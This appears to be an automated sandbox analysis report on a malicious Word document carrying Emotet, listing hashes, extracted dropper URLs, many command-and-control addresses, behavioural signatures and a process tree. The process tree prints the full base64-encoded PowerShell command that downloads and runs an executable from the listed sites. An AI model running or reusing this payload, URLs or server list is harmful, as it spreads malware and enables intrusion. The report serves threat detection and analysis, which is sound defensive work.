Analysis
- max time kernel
138s - max time network
150s - platform
windows10_x64 - resource
win10v200722 - submitted
15/09/2020, 13:35
Static task
static1
Behavioral task
behavioral1
Sample
REP_PO_09152020EX.doc
Resource
win7
General
- Target REP_PO_09152020EX.doc
- Size 153KB
- Sample200915-77e86d27e2
- SHA256 f6b411752457e67af88361dab260e090f3eab65cc6c2ca63f8e2ee7b81a398cb
- MD5 14ad5b7ea06d2d0c9b39b1533268390b
- SHA1 e8be13fdd934ea32b8d0b10a15acf0ab95f1fe7a
- SHA512 8f65592b29357e0160c6500b0c8d602f538d92ecbb47d50e273849c6c3d0996fbede3c5dc19add54bc85a779301349a1c0f2ead379f0c43584a4dd91b4aa560d
- MD5 SHA1 SHA512
Malware Config
Extracted
-
ps1
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exe.dropper
http://cnnmediaservices.com/wp-admin/czBMOhz/
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exe.dropper
http://ak3.net/t0XJ/
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exe.dropper
http://ovday.com/1umq/S5IWl04/
-
exe.dropper
http://gch7.com/wp-includes/Nkwp/
-
exe.dropper
http://chengmikeji.com/wp-includes/9QQ/
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exe.dropper
http://blog.anseeing.com/sys-cache/h/
-
exe.dropper
http://1sync-wp.x.opencrm.eu/wp-content/Bu/
Extracted
-
emotet
-
220.245.198.194:80
-
104.156.59.7:8080
-
120.138.30.150:8080
-
139.59.67.118:443
-
139.130.242.43:80
-
104.32.141.43:80
-
156.155.166.221:80
-
121.7.127.163:80
-
153.177.101.120:443
-
162.241.242.173:8080
-
91.211.88.52:7080
-
95.179.229.244:8080
-
103.86.49.11:8080
-
139.59.60.244:8080
-
121.124.124.40:7080
-
104.131.11.150:443
-
200.114.213.233:8080
-
82.225.49.121:80
-
79.98.24.39:8080
-
5.196.74.210:8080
-
61.19.246.238:443
-
188.219.31.12:80
-
94.200.114.161:80
-
110.145.77.103:80
-
203.153.216.189:7080
-
62.30.7.67:443
-
47.144.21.12:443
-
181.169.34.190:80
-
174.45.13.118:80
-
87.106.139.101:8080
-
79.137.83.50:443
-
1.221.254.82:80
-
78.187.156.31:80
-
83.169.36.251:8080
-
195.251.213.56:80
-
110.5.16.198:80
-
24.43.99.75:80
-
139.162.108.71:8080
-
139.99.158.11:443
-
85.105.205.77:8080
-
75.139.38.211:80
-
50.91.114.38:80
-
176.111.60.55:8080
-
24.137.76.62:80
-
62.75.141.82:80
-
94.23.237.171:443
-
37.139.21.175:8080
-
74.208.45.104:8080
-
200.123.150.89:443
-
85.214.28.226:8080
-
68.188.112.97:80
-
203.117.253.142:80
-
94.23.216.33:80
-
137.119.36.33:80
-
169.239.182.217:8080
-
124.41.215.226:80
-
84.39.182.7:80
-
168.235.67.138:7080
-
194.187.133.160:443
-
219.74.18.66:443
-
61.92.17.12:80
-
187.161.206.24:80
-
85.152.162.105:80
-
50.35.17.13:80
-
104.236.246.93:8080
-
140.186.212.146:80
-
24.179.13.119:80
-
120.150.60.189:80
-
109.74.5.95:8080
-
5.39.91.110:7080
-
42.200.107.142:80
-
87.106.136.232:8080
-
93.147.212.206:80
-
74.120.55.163:80
-
107.5.122.110:80
-
78.24.219.147:8080
-
37.187.72.193:8080
-
95.213.236.64:8080
-
209.141.54.221:8080
-
185.94.252.104:443
-
213.196.135.145:80
-
157.245.99.39:8080
-
172.91.208.86:80
-
97.82.79.83:80
-
153.232.188.106:80
-
137.59.187.107:8080
-
201.173.217.124:443
-
104.131.44.150:8080
-
174.102.48.180:443
-
89.216.122.92:80
-
94.1.108.190:443
-
46.105.131.79:8080
-
82.80.155.43:80
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 212 3208 powershell.exe 72 - Blacklisted process makes network request 1 IoCs
flow pid Process 23 212 powershell.exe - Executes dropped EXE 2 IoCs
pid Process 3796 H3vhkqzr2.exe 2084 mtstocom.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\Windows.UI.Input.Inking.Analysis\mtstocom.exe H3vhkqzr2.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 3828 WINWORD.EXE 3828 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 9 IoCs
pid Process 212 powershell.exe 212 powershell.exe 212 powershell.exe 2084 mtstocom.exe 2084 mtstocom.exe 2084 mtstocom.exe 2084 mtstocom.exe 2084 mtstocom.exe 2084 mtstocom.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 212 powershell.exe - Suspicious use of SetWindowsHookEx 13 IoCs
pid Process 3828 WINWORD.EXE 3828 WINWORD.EXE 3828 WINWORD.EXE 3828 WINWORD.EXE 3828 WINWORD.EXE 3828 WINWORD.EXE 3828 WINWORD.EXE 3828 WINWORD.EXE 3828 WINWORD.EXE 3796 H3vhkqzr2.exe 3796 H3vhkqzr2.exe 2084 mtstocom.exe 2084 mtstocom.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 212 wrote to memory of 3796 212 powershell.exe 80 PID 212 wrote to memory of 3796 212 powershell.exe 80 PID 212 wrote to memory of 3796 212 powershell.exe 80 PID 3796 wrote to memory of 2084 3796 H3vhkqzr2.exe 81 PID 3796 wrote to memory of 2084 3796 H3vhkqzr2.exe 81 PID 3796 wrote to memory of 2084 3796 H3vhkqzr2.exe 81
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\REP_PO_09152020EX.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3828
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e JABEAGwAagBxAGMAcQB0AD0AKAAnAEYAJwArACgAJwA4ADcAcABiACcAKwAnADYAJwApACsAJwB2ACcAKQA7ACYAKAAnAG4AZQB3AC0AJwArACcAaQAnACsAJwB0AGUAbQAnACkAIAAkAGUAbgBWADoAdQBzAGUAcgBwAFIATwBmAGkATABFAFwAeQBzADEASAAyAG4AeABcAEMANgBOADYAdgB5AHEAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAFIAZQBjAHQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBgAGMAVQBSAEkAVAB5AFAAcgBPAFQAYABvAEMAYABvAEwAIgAgAD0AIAAoACcAdAAnACsAKAAnAGwAJwArACcAcwAxADIAJwApACsAKAAnACwAIAB0ACcAKwAnAGwAJwApACsAKAAnAHMAMQAnACsAJwAxACwAIAB0ACcAKwAnAGwAcwAnACkAKQA7ACQATgBfAHUAbgBxAG4ANgAgAD0AIAAoACcASAAnACsAJwAzACcAKwAoACcAdgAnACsAJwBoAGsAJwArACcAcQB6AHIAJwApACsAJwAyACcAKQA7ACQATAA1ADgAdQBmADUAdQA9ACgAKAAnAEcAZgBlAHAAJwArACcAaQAnACkAKwAnAHQAXwAnACkAOwAkAFYAbgB5AHQAeQBrAG8APQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACgAJwBuAEwAJwArACcASgBZACcAKwAnAHMAMQBoADIAbgAnACkAKwAoACcAeABuAEwASgBDACcAKwAnADYAJwApACsAJwBuACcAKwAoACcANgB2AHkAJwArACcAcQAnACkAKwAoACcAbgAnACsAJwBMAEoAJwApACkAIAAgAC0AQwBSAEUAcABMAEEAQwBFACAAKABbAEMASABhAHIAXQAxADEAMAArAFsAQwBIAGEAcgBdADcANgArAFsAQwBIAGEAcgBdADcANAApACwAWwBDAEgAYQByAF0AOQAyACkAKwAkAE4AXwB1AG4AcQBuADYAKwAoACgAJwAuAGUAJwArACcAeAAnACkAKwAnAGUAJwApADsAJABBADYAcwBoAF8AaQBqAD0AKAAnAFAAJwArACgAJwA1ACcAKwAnAGQAaQAnACsAJwBiAHoAdwAnACkAKQA7ACQASQA0ADIAYwA1ADIAXwA9AC4AKAAnAG4AZQB3AC0AbwBiAGoAJwArACcAZQAnACsAJwBjAHQAJwApACAAbgBFAHQALgB3AEUAQgBjAGwAaQBFAG4AVAA7ACQATgB3AHgAbgBwAHYAaAA9ACgAKAAnAGgAdAB0ACcAKwAnAHAAJwApACsAKAAnADoALwAvACcAKwAnAGMAbgBuAG0AJwApACsAJwBlAGQAJwArACcAaQBhACcAKwAnAHMAJwArACgAJwBlACcAKwAnAHIAdgBpACcAKQArACcAYwBlACcAKwAoACcAcwAuAGMAJwArACcAbwBtACcAKwAnAC8AdwBwACcAKwAnAC0AYQBkAG0AaQBuAC8AYwB6ACcAKwAnAEIAJwApACsAKAAnAE0ATwBoACcAKwAnAHoALwAqACcAKwAnAGgAdAAnACkAKwAoACcAdAAnACsAJwBwADoALwAnACkAKwAoACcALwAnACsAJwBhAGsAMwAuACcAKwAnAG4AZQB0ACcAKQArACgAJwAvAHQAMABYACcAKwAnAEoALwAnACsAJwAqACcAKwAnAGgAdAB0AHAAOgAvACcAKwAnAC8AJwApACsAKAAnAG8AdgAnACsAJwBkACcAKwAnAGEAeQAuAGMAJwArACcAbwBtAC8AMQAnACkAKwAoACcAdQBtAHEAJwArACcALwAnACkAKwAnAFMANQAnACsAKAAnAEkAVwBsACcAKwAnADAAJwApACsAKAAnADQAJwArACcALwAqAGgAdAAnACkAKwAoACcAdABwADoAJwArACcALwAvACcAKQArACcAZwAnACsAJwBjACcAKwAnAGgANwAnACsAKAAnAC4AYwBvAG0AJwArACcALwB3ACcAKwAnAHAALQAnACkAKwAnAGkAbgAnACsAJwBjACcAKwAnAGwAJwArACcAdQBkACcAKwAnAGUAJwArACgAJwBzAC8ATgAnACsAJwBrAHcAJwArACcAcAAvACoAJwApACsAJwBoAHQAJwArACgAJwB0AHAAOgAvACcAKwAnAC8AJwArACcAYwBoACcAKwAnAGUAbgBnAG0AaQBrAGUAJwApACsAKAAnAGoAaQAuAGMAbwBtAC8AJwArACcAdwAnACsAJwBwACcAKQArACgAJwAtAGkAJwArACcAbgBjAGwAdQBkAGUAJwApACsAJwBzAC8AJwArACgAJwA5AFEAJwArACcAUQAvACoAaAAnACkAKwAoACcAdAB0AHAAJwArACcAOgAnACkAKwAnAC8ALwAnACsAKAAnAGIAJwArACcAbABvACcAKQArACgAJwBnAC4AYQBuAHMAJwArACcAZQAnACkAKwAoACcAZQBpACcAKwAnAG4AJwApACsAKAAnAGcAJwArACcALgBjAG8AbQAvACcAKQArACgAJwBzAHkAcwAtACcAKwAnAGMAYQBjAGgAZQAvACcAKwAnAGgAJwArACcALwAnACsAJwAqACcAKQArACgAJwBoACcAKwAnAHQAdABwADoALwAvADEAJwApACsAKAAnAHMAeQBuAGMAJwArACcALQAnACsAJwB3AHAALgAnACkAKwAoACcAeAAnACsAJwAuAG8AcABlAG4AJwArACcAYwByACcAKQArACcAbQAnACsAJwAuACcAKwAnAGUAJwArACgAJwB1AC8AJwArACcAdwAnACkAKwAoACcAcAAtACcAKwAnAGMAbwAnACkAKwAnAG4AdAAnACsAKAAnAGUAbgB0ACcAKwAnAC8AQgB1ACcAKQArACcALwAnACkALgAiAFMAcABMAGAASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUwBwAF8AMQBtAHkAMgA9ACgAKAAnAFcAJwArACcANQB2AHEANgAnACkAKwAnADYAJwArACcAdAAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABJAGYAYwB1ADEAYQB5ACAAaQBuACAAJABOAHcAeABuAHAAdgBoACkAewB0AHIAeQB7ACQASQA0ADIAYwA1ADIAXwAuACIAZABPAHcAYABOAGwAbwBgAEEAZABmAEkATABlACIAKAAkAEkAZgBjAHUAMQBhAHkALAAgACQAVgBuAHkAdAB5AGsAbwApADsAJABGADUAcQA2ADAAdAB6AD0AKAAoACcATwB0ACcAKwAnADAAbQAyACcAKQArACcAbABnACcAKQA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAJwArACcAdAAtAEkAdABlAG0AJwApACAAJABWAG4AeQB0AHkAawBvACkALgAiAGwAZQBgAE4AZwBgAFQAaAAiACAALQBnAGUAIAAzADEAMwA4ADEAKQAgAHsAJgAoACcASQBuAHYAJwArACcAbwBrAGUALQBJAHQAJwArACcAZQAnACsAJwBtACcAKQAoACQAVgBuAHkAdAB5AGsAbwApADsAJABJADEANQB0AGoAZgBuAD0AKAAoACcATQAnACsAJwBuAGYAeQA1ACcAKQArACcAdAAxACcAKQA7AGIAcgBlAGEAawA7ACQAQQBhAGkAaQAzADUAZwA9ACgAKAAnAFQAJwArACcAZgA0ACcAKQArACgAJwB6AG8AawAnACsAJwB0ACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABBADgAdABmADEAdAAwAD0AKAAnAEMAMgAnACsAJwBzACcAKwAoACcAZwB0ACcAKwAnAHUAMQAnACkAKQA=1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:212 -
C:\Users\Admin\Ys1h2nx\C6n6vyq\H3vhkqzr2.exe"C:\Users\Admin\Ys1h2nx\C6n6vyq\H3vhkqzr2.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3796 -
C:\Windows\SysWOW64\Windows.UI.Input.Inking.Analysis\mtstocom.exe"C:\Windows\SysWOW64\Windows.UI.Input.Inking.Analysis\mtstocom.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:2084
-
-